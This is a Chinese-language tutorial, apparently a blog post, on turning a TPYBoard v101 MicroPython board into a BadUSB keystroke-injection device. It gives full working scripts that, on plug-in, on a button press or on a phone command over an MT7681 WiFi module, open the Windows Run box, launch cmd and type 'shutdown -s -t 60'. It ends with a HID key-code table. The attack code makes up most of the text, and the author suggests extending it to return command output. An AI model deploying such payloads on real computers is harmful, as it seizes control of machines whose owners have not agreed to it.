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本文以TPYBoardv101开发板为例讲解了利用micropython进行BadUSB的usb-HID设备测试的主要方法,使用mt7681模块进行了一个简单的实验,实现了手机摇控键盘输入的测试。
0x01引言
Micropython即运行在微控制器上的Python,只要你懂python3.x,就可以让你像使用arduino那样进行硬件开发。随着micropython的发布,已经有越来越多的人研究和利用其进行项目开发。本人也进行了一些研究,发现利用python进行操作确实很方便,很简单。目前支持micropython的开发板有很多,如pyboard、pyMagic、TPYBoard等。
Pyboard
Pymagic
TPYBoard
最近从网上搞了一块tpyboard V101(官网www.micropython.net.cn)进行了一下研究,特别是对其自身的USB-HID功能进行了测试,令人惊喜的是,你可以在仅懂python的情况下,进行HID攻击的姿态测试。具体TPYBoardv101的使用方法,请参见www.micropython.net.cn。
0x02 TPYBoardV101模拟键盘
该板子的使用方法入门,本文中略过,有兴趣的可以查看其网站http://www.micropython.net.cn/support_category.php?id=2。TPYBoardv101中,在进行键盘模拟时,每次发送了8个字符,只要搞清楚了这8个字符的含义,就能够进行HID模拟了。
键盘发送的8个字符:BYTE1 BYTE2 BYTE3 BYTE4 BYTE5 BYTE6 BYTE7 BYTE8。其中BYTE1用来实现功能键:
BYTE1 -- |--bit0: Left Control 按下时为1 |--bit1: Left Shift按下时为1 |--bit2: Left Alt按下时为1 |--bit3: Left GUI按下时为1 |--bit4: Right Control按下时为1 |--bit5: Right Shift按下时为1 |--bit6: Right Alt按下时为1 |--bit7: Right GUI按下时为1
BYTE3到BYTE8是具体按键(见0x06附件),如:
按下left shift + a ,则发送 0x02,0x00,0x04,0x00,0x00,0x00,0x00,0x00。
这里以按下left GUI+R来具体讲解实现过程。
第一步:修改boot.py文件,代码如下:
import machine import pyb #pyb.main('main.py') # main script to run after this one #pyb.usb_mode('CDC+MSC') # act as a serial and a storage device pyb.usb_mode('CDC+HID',hid=pyb.hid_keyboard)
第二步,修改main.py文件,代码如下:
# main.py -- put your code here! hid=pyb.USB_HID() def release_key_once(): buf = bytearray(8) # report is 8 bytes long buf[2] = 0 hid.send(buf) # key released pyb.delay(10) def press_key_once(key): buf = bytearray(8) # report is 8 bytes long buf[2] = key hid.send(buf) # key released pyb.delay(10) def press_2key(key1,key2): buf = bytearray(8) # report is 8 bytes long buf[0] = key1 buf[2] = key2 hid.send(buf) # key released pyb.delay(10) def release_2key(): buf = bytearray(8) # report is 8 bytes long buf[0] = 0 buf[2] = 0 hid.send(buf) # key released pyb.delay(10) pyb.delay(1000) #开始加入1秒延时 press_2key(0x08,0x15)#具体键值见附录部分 release_2key()
第三步,安全退出TPYBoardv101,然后按一下RST键,可以看到一秒后“运行”窗口弹出。
0x03 简单的HID测试
测试打开“运行”窗口,输入cmd,然后弹出cmd后,输入shutdown -s -t 60 ,即60秒后自动关机。
Main.py的代码如下:
# main.py -- put your code here! hid=pyb.USB_HID() def release_key_once(): buf = bytearray(8) # report is 8 bytes long buf[2] = 0 hid.send(buf) # key released pyb.delay(10) def press_key_once(key): buf = bytearray(8) # report is 8 bytes long buf[2] = key hid.send(buf) # key released pyb.delay(10) def press_2key(key1,key2): buf = bytearray(8) # report is 8 bytes long buf[0] = key1 buf[2] = key2 hid.send(buf) # key released pyb.delay(10) def release_2key(): buf = bytearray(8) # report is 8 bytes long buf[0] = 0 buf[2] = 0 hid.send(buf) # key released pyb.delay(10) pyb.delay(1000) #开始加入1秒延时 press_2key(0x08,0x15)#具体键值见附录部分 release_2key() pyb.delay(100) a=[0x06,0x10,0x07,0x28] #cmd+enter for i in a: press_key_once(i) release_key_once() pyb.delay(1000) #shutdown -s -t 60 + enter a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28] for i in a: press_key_once(i) release_key_once() pyb.delay(1000)
程序运行的效果是:当开发板插入电脑后,会首先弹出“运行”窗口,然后在该窗口里输入cmd,此时弹出cmd,并在其中输入shutdown -s -t 60和回车,然后电脑在1分钟后关机。
0x04 DIY一键关机
TPYBoardv101带着一个usr按键,可以利用这个按键来制作一键关机功能。当板子程序运行后,按下usr按键,产生中断,led3闪一下,进行关机操作。具体代码如下:
# main.py -- put your code here! import pyb FLAG=0 #flag标记,当为1时,关机 def release_key_once(): buf = bytearray(8) # report is 8 bytes long buf[2] = 0 hid.send(buf) # key released pyb.delay(10) def press_key_once(key): buf = bytearray(8) # report is 8 bytes long buf[2] = key hid.send(buf) # key released pyb.delay(10) def press_2key(key1,key2): buf = bytearray(8) # report is 8 bytes long buf[0] = key1 buf[2] = key2 hid.send(buf) # key released pyb.delay(10) def release_2key(): buf = bytearray(8) # report is 8 bytes long buf[0] = 0 buf[2] = 0 hid.send(buf) # key released pyb.delay(10) def shutdownpc(): global FLAG pyb.LED(3).on() FLAG=1 pyb.delay(300) pyb.LED(3).off() hid=pyb.USB_HID() sw=pyb.Switch() sw.callback(shutdownpc) while(1): #led2闪烁表示板子已经正常工作 pyb.LED(2).toggle() pyb.delay(300) print(FLAG) if FLAG==1: pyb.delay(1000) #开始加入1秒延时 press_2key(0x08,0x15)#具体键值见附录部分 release_2key() pyb.delay(100) a=[0x06,0x10,0x07,0x28] #cmd+enter for i in a: press_key_once(i) release_key_once() pyb.delay(1000) #shutdown -s -t 60 + enter a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28] for i in a: press_key_once(i) release_key_once() pyb.delay(1000) FLAG=0
视频演示:
0x05 用手机摇控键盘输入
这个实验中,我使用了MT7681wifi模块,该模块可以直接进行串口透传。将MT7681与TPYBoardv101进行连接,接线示意图,见下图。这里用的是TPYBoardv101的UART3,串口波特率115200。具体代码如下:
# main.py -- put your code here! import pyb FLAG=0 def release_key_once(): buf = bytearray(8) # report is 8 bytes long buf[2] = 0 hid.send(buf) # key released pyb.delay(10) def press_key_once(key): buf = bytearray(8) # report is 8 bytes long buf[2] = key hid.send(buf) # key released pyb.delay(10) def press_2key(key1,key2): buf = bytearray(8) # report is 8 bytes long buf[0] = key1 buf[2] = key2 hid.send(buf) # key released pyb.delay(10) def release_2key(): buf = bytearray(8) # report is 8 bytes long buf[0] = 0 buf[2] = 0 hid.send(buf) # key released pyb.delay(10) def shutdownpc(): global FLAG pyb.LED(3).on() FLAG=1 pyb.delay(1000) pyb.LED(3).off() def getchars(): global FLAG pyb.LED(3).on() FLAG=2 pyb.delay(1000) pyb.LED(3).off() hid=pyb.USB_HID() sw=pyb.Switch() sw.callback(shutdownpc) u1=pyb.UART(3,115200) u1.init(115200, bits=8, parity=None, stop=1) u1.write('Hello world!') buf='' #print(buf) while(1): #led2闪烁表示板子已经正常工作 buf=u1.readline() print(buf) if buf==b's': getchars() pyb.LED(2).toggle() pyb.delay(1300) print(FLAG) if FLAG==1: pyb.delay(1000) #开始加入1秒延时 press_2key(0x08,0x15)#具体键值见附录部分 release_2key() pyb.delay(100) a=[0x06,0x10,0x07,0x28] #cmd+enter for i in a: press_key_once(i) release_key_once() pyb.delay(1000) #shutdown -s -t 60 + enter a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28] for i in a: press_key_once(i) release_key_once() pyb.delay(1000) FLAG=0 if FLAG==2: pyb.delay(1000) #开始加入1秒延时 press_2key(0x08,0x15)#具体键值见附录部分 release_2key() pyb.delay(100) a=[0x11,0x12,0x17,0x08,0x13,0x04,0x07,0x28] #notepad+enter for i in a: press_key_once(i) release_key_once() pyb.delay(1000) FLAG=0
到这一步,可以看到,手机就像一个摇控键盘一样,可以直接来控制键盘了。只需要在程序中再丰富一下,就可以做个很不错的手机键盘出来。同时,因为可以通过串口返回数据,所以可以在电脑端写个上位机,这样就可以把电脑操作的返回值返回回来。具体的扩展功能大家自己想吧,就只说到这里了。
视频演示:
0x06附件
micropython的主要键值如下:
#define KEY_NONE 0x00 #define KEY_ERRORROLLOVER 0x01 #define KEY_POSTFAIL 0x02 #define KEY_ERRORUNDEFINED 0x03 #define KEY_A 0x04 #define KEY_B 0x05 #define KEY_C 0x06 #define KEY_D 0x07 #define KEY_E 0x08 #define KEY_F 0x09 #define KEY_G 0x0A #define KEY_H 0x0B #define KEY_I 0x0C #define KEY_J 0x0D #define KEY_K 0x0E #define KEY_L 0x0F #define KEY_M 0x10 #define KEY_N 0x11 #define KEY_O 0x12 #define KEY_P 0x13 #define KEY_Q 0x14 #define KEY_R 0x15 #define KEY_S 0x16 #define KEY_T 0x17 #define KEY_U 0x18 #define KEY_V 0x19 #define KEY_W 0x1A #define KEY_X 0x1B #define KEY_Y 0x1C #define KEY_Z 0x1D #define KEY_1_EXCLAMATION_MARK 0x1E #define KEY_2_AT 0x1F #define KEY_3_NUMBER_SIGN 0x20 #define KEY_4_DOLLAR 0x21 #define KEY_5_PERCENT 0x22 #define KEY_6_CARET 0x23 #define KEY_7_AMPERSAND 0x24 #define KEY_8_ASTERISK 0x25 #define KEY_9_OPARENTHESIS 0x26 #define KEY_0_CPARENTHESIS 0x27 #define KEY_ENTER 0x28 #define KEY_ESCAPE 0x29 #define KEY_BACKSPACE 0x2A #define KEY_TAB 0x2B #define KEY_SPACEBAR 0x2C #define KEY_MINUS_UNDERSCORE 0x2D #define KEY_EQUAL_PLUS 0x2E #define KEY_OBRACKET_AND_OBRACE 0x2F #define KEY_CBRACKET_AND_CBRACE 0x30 #define KEY_BACKSLASH_VERTICAL_BAR 0x31 #define KEY_NONUS_NUMBER_SIGN_TILDE 0x32 #define KEY_SEMICOLON_COLON 0x33 #define KEY_SINGLE_AND_DOUBLE_QUOTE 0x34 #define KEY_GRAVE ACCENT AND TILDE 0x35 #define KEY_COMMA_AND_LESS 0x36 #define KEY_DOT_GREATER 0x37 #define KEY_SLASH_QUESTION 0x38 #define KEY_CAPS LOCK 0x39 #define KEY_F1 0x3A #define KEY_F2 0x3B #define KEY_F3 0x3C #define KEY_F4 0x3D #define KEY_F5 0x3E #define KEY_F6 0x3F #define KEY_F7 0x40 #define KEY_F8 0x41 #define KEY_F9 0x42 #define KEY_F10 0x43 #define KEY_F11 0x44 #define KEY_F12 0x45 #define KEY_PRINTSCREEN 0x46 #define KEY_SCROLL LOCK 0x47 #define KEY_PAUSE 0x48 #define KEY_INSERT 0x49 #define KEY_HOME 0x4A #define KEY_PAGEUP 0x4B #define KEY_DELETE 0x4C #define KEY_END1 0x4D #define KEY_PAGEDOWN 0x4E #define KEY_RIGHTARROW 0x4F #define KEY_LEFTARROW 0x50 #define KEY_DOWNARROW 0x51 #define KEY_UPARROW 0x52 #define KEY_KEYPAD_NUM_LOCK_AND_CLEAR 0x53 #define KEY_KEYPAD_SLASH 0x54 #define KEY_KEYPAD_ASTERIKS 0x55 #define KEY_KEYPAD_MINUS 0x56 #define KEY_KEYPAD_PLUS 0x57 #define KEY_KEYPAD_ENTER 0x58 #define KEY_KEYPAD_1_END 0x59 #define KEY_KEYPAD_2_DOWN_ARROW 0x5A #define KEY_KEYPAD_3_PAGEDN 0x5B #define KEY_KEYPAD_4_LEFT_ARROW 0x5C #define KEY_KEYPAD_5 0x5D #define KEY_KEYPAD_6_RIGHT_ARROW 0x5E #define KEY_KEYPAD_7_HOME 0x5F #define KEY_KEYPAD_8_UP_ARROW 0x60 #define KEY_KEYPAD_9_PAGEUP 0x61 #define KEY_KEYPAD_0_INSERT 0x62 #define KEY_KEYPAD_DECIMAL_SEPARATOR_DELETE 0x63 #define KEY_NONUS_BACK_SLASH_VERTICAL_BAR 0x64 #define KEY_APPLICATION 0x65 #define KEY_POWER 0x66 #define KEY_KEYPAD_EQUAL 0x67 #define KEY_F13 0x68 #define KEY_F14 0x69 #define KEY_F15 0x6A #define KEY_F16 0x6B #define KEY_F17 0x6C #define KEY_F18 0x6D #define KEY_F19 0x6E #define KEY_F20 0x6F #define KEY_F21 0x70 #define KEY_F22 0x71 #define KEY_F23 0x72 #define KEY_F24 0x73 #define KEY_EXECUTE 0x74 #define KEY_HELP 0x75 #define KEY_MENU 0x76 #define KEY_SELECT 0x77 #define KEY_STOP 0x78 #define KEY_AGAIN 0x79 #define KEY_UNDO 0x7A #define KEY_CUT 0x7B #define KEY_COPY 0x7C #define KEY_PASTE 0x7D #define KEY_FIND 0x7E #define KEY_MUTE 0x7F #define KEY_VOLUME_UP 0x80 #define KEY_VOLUME_DOWN 0x81 #define KEY_LOCKING_CAPS_LOCK 0x82 #define KEY_LOCKING_NUM_LOCK 0x83 #define KEY_LOCKING_SCROLL_LOCK 0x84 #define KEY_KEYPAD_COMMA 0x85 #define KEY_KEYPAD_EQUAL_SIGN 0x86 #define KEY_INTERNATIONAL1 0x87 #define KEY_INTERNATIONAL2 0x88 #define KEY_INTERNATIONAL3 0x89 #define KEY_INTERNATIONAL4 0x8A #define KEY_INTERNATIONAL5 0x8B #define KEY_INTERNATIONAL6 0x8C #define KEY_INTERNATIONAL7 0x8D #define KEY_INTERNATIONAL8 0x8E #define KEY_INTERNATIONAL9 0x8F #define KEY_LANG1 0x90 #define KEY_LANG2 0x91 #define KEY_LANG3 0x92 #define KEY_LANG4 0x93 #define KEY_LANG5 0x94 #define KEY_LANG6 0x95 #define KEY_LANG7 0x96 #define KEY_LANG8 0x97 #define KEY_LANG9 0x98 #define KEY_ALTERNATE_ERASE 0x99 #define KEY_SYSREQ 0x9A #define KEY_CANCEL 0x9B #define KEY_CLEAR 0x9C #define KEY_PRIOR 0x9D #define KEY_RETURN 0x9E #define KEY_SEPARATOR 0x9F #define KEY_OUT 0xA0 #define KEY_OPER 0xA1 #define KEY_CLEAR_AGAIN 0xA2 #define KEY_CRSEL 0xA3 #define KEY_EXSEL 0xA4 #define KEY_KEYPAD_00 0xB0 #define KEY_KEYPAD_000 0xB1 #define KEY_THOUSANDS_SEPARATOR 0xB2 #define KEY_DECIMAL_SEPARATOR 0xB3 #define KEY_CURRENCY_UNIT 0xB4 #define KEY_CURRENCY_SUB_UNIT 0xB5 #define KEY_KEYPAD_OPARENTHESIS 0xB6 #define KEY_KEYPAD_CPARENTHESIS 0xB7 #define KEY_KEYPAD_OBRACE 0xB8 #define KEY_KEYPAD_CBRACE 0xB9 #define KEY_KEYPAD_TAB 0xBA #define KEY_KEYPAD_BACKSPACE 0xBB #define KEY_KEYPAD_A 0xBC #define KEY_KEYPAD_B 0xBD #define KEY_KEYPAD_C 0xBE #define KEY_KEYPAD_D 0xBF #define KEY_KEYPAD_E 0xC0 #define KEY_KEYPAD_F 0xC1 #define KEY_KEYPAD_XOR 0xC2 #define KEY_KEYPAD_CARET 0xC3 #define KEY_KEYPAD_PERCENT 0xC4 #define KEY_KEYPAD_LESS 0xC5 #define KEY_KEYPAD_GREATER 0xC6 #define KEY_KEYPAD_AMPERSAND 0xC7 #define KEY_KEYPAD_LOGICAL_AND 0xC8 #define KEY_KEYPAD_VERTICAL_BAR 0xC9 #define KEY_KEYPAD_LOGIACL_OR 0xCA #define KEY_KEYPAD_COLON 0xCB #define KEY_KEYPAD_NUMBER_SIGN 0xCC #define KEY_KEYPAD_SPACE 0xCD #define KEY_KEYPAD_AT 0xCE #define KEY_KEYPAD_EXCLAMATION_MARK 0xCF #define KEY_KEYPAD_MEMORY_STORE 0xD0 #define KEY_KEYPAD_MEMORY_RECALL 0xD1 #define KEY_KEYPAD_MEMORY_CLEAR 0xD2 #define KEY_KEYPAD_MEMORY_ADD 0xD3 #define KEY_KEYPAD_MEMORY_SUBTRACT 0xD4 #define KEY_KEYPAD_MEMORY_MULTIPLY 0xD5 #define KEY_KEYPAD_MEMORY_DIVIDE 0xD6 #define KEY_KEYPAD_PLUSMINUS 0xD7 #define KEY_KEYPAD_CLEAR 0xD8 #define KEY_KEYPAD_CLEAR_ENTRY 0xD9 #define KEY_KEYPAD_BINARY 0xDA #define KEY_KEYPAD_OCTAL 0xDB #define KEY_KEYPAD_DECIMAL 0xDC #define KEY_KEYPAD_HEXADECIMAL 0xDD #define KEY_LEFTCONTROL 0xE0 #define KEY_LEFTSHIFT 0xE1 #define KEY_LEFTALT 0xE2 #define KEY_LEFT_GUI 0xE3 #define KEY_RIGHTCONTROL 0xE4 #define KEY_RIGHTSHIFT 0xE5 #define KEY_RIGHTALT 0xE6 #define KEY_RIGHT_GUI 0xE7